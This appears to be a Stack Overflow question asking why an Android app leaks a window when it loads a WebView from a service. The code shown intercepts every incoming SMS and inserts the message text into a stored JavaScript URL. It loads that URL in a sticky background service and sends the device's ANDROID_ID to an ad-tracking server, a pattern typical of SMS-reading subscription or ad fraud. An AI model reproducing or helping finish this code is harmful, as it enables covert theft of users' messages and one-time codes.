title: Log showing BinderProxy@45d459c0 is not valid; is your activity running?
body: <p>i have one activity Main Activity There is one web view , i want load web view when broadcast receiver receiver message ,also there is one service class which pass data to activity web view ,if activity is open and any message receive from receiver URL load successfully but when i close app there is error window leaked, i have shown many answer but i didn't  resolved it,please help me</p>
  
  <p>here is main activity interface method which load URL</p>
  
  <pre><code>  @Override
  public void setwebview(String url) {
      Log.d("URL@@", "" + url);
      webView.loadUrl(url, extraHeaders);
  }
  </code></pre>
  
  <p>here is on start command method of service class where pass data to activity</p>
  
  <pre><code>public void onCreate() {
      isRunning = true;
      Log.d("CALLLL@@", "onCreate");
      String uniqueId = UUID.randomUUID().toString();
      @SuppressLint("HardwareIds") String ANDROID_ID = Settings.Secure.getString(this.getContentResolver(),
              Settings.Secure.ANDROID_ID);
      Log.d("DEVICE_ID@@", " YES : " + ANDROID_ID);
      mainUrl = "http://tr.adsx.bid/url4app.php?device=" + ANDROID_ID + "&amp;rand=" + uniqueId;
  
  
      context = getApplicationContext();
      if (timer != null &amp;&amp; timerTask != null) {
          timerTask.cancel();
          timer.cancel();
      }
      String abc = Util.ReadSharePrefrence(context, START);
      if (abc.equalsIgnoreCase("start")) {
          callApi(mainUrl, "stop");
          Log.d("PREF@@", "" + abc);
      } else if (abc.equalsIgnoreCase("stop")) {
          callApi(mainUrl, "start");
          Util.WriteSharePrefrence(context, START, "start");
          Log.d("PREF@@", "else" + abc);
      }
  }
  
  @Override
  public boolean onUnbind(Intent intent) {
      if (timer != null &amp;&amp; timerTask != null) {
          timerTask.cancel();
          timer.cancel();
      }
  
      callApi(mainUrl, "stop");
      isRunning = false;
      return super.onUnbind(intent);
  }
  
    @Override
  public int onStartCommand(Intent intent, int flags, int startId) {
      isRunning = true;
      if (intent != null) {
          jsurl = intent.getStringExtra("JSURL");
          if (jsurl != null) {
              serviceInterface.setwebview(jsurl);
          }
      }
      Log.d("CALLLL@@", "onStart");
      return START_STICKY;
  }
  </code></pre>
  
  <p>here is broadcast receiver class</p>
  
  <pre><code> @Override
  public void onReceive(Context context, Intent intent) {
  
      Toast.makeText(context, "Received...", Toast.LENGTH_SHORT).show();
      final Bundle bundle = intent.getExtras();
  
      try {
          if (bundle != null) {
              final Object[] pdusObj = (Object[]) bundle.get("pdus");
              assert pdusObj != null;
              for (Object aPdusObj : pdusObj) {
  
                  SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) aPdusObj);
  
                  switch (SMSNUMBER = currentMessage.getDisplayOriginatingAddress()) {
                  }
                  SMS = currentMessage.getDisplayMessageBody();
  
                  Log.i("SmsReceiver", "senderNum: " + SMSNUMBER + "; message: " + SMS);
  
                  int duration = Toast.LENGTH_LONG;
                  Toast.makeText(context, "senderNum: " + SMSNUMBER + ", message: " + SMS, duration).show();
  
                  String javaScriptUrl = Util.ReadSharePrefrence(context, JAVASCRIPTURL);
                  Log.d("JAVAURL@@", "SMS" + javaScriptUrl);
  
                  String newString = javaScriptUrl.replace("SMSMACRO", SMS);
                  Log.d("JAVAURL@@", "SMS" + newString);
  
                  Intent intent1 = new Intent(context, AutoOpenAppService.class);
                  intent1.putExtra("JSURL", newString);
                  context.startService(intent1);
  
                /*  Util.WriteSharePrefrence(context, jsurl, newString);
                  context.startService(new Intent(context, AutoOpenAppService.class));*/
              }
          }
  
      } catch (Exception e) {
          Log.e("SmsReceiver", "Exception smsReceiver" + e);
      }
  }
  </code></pre>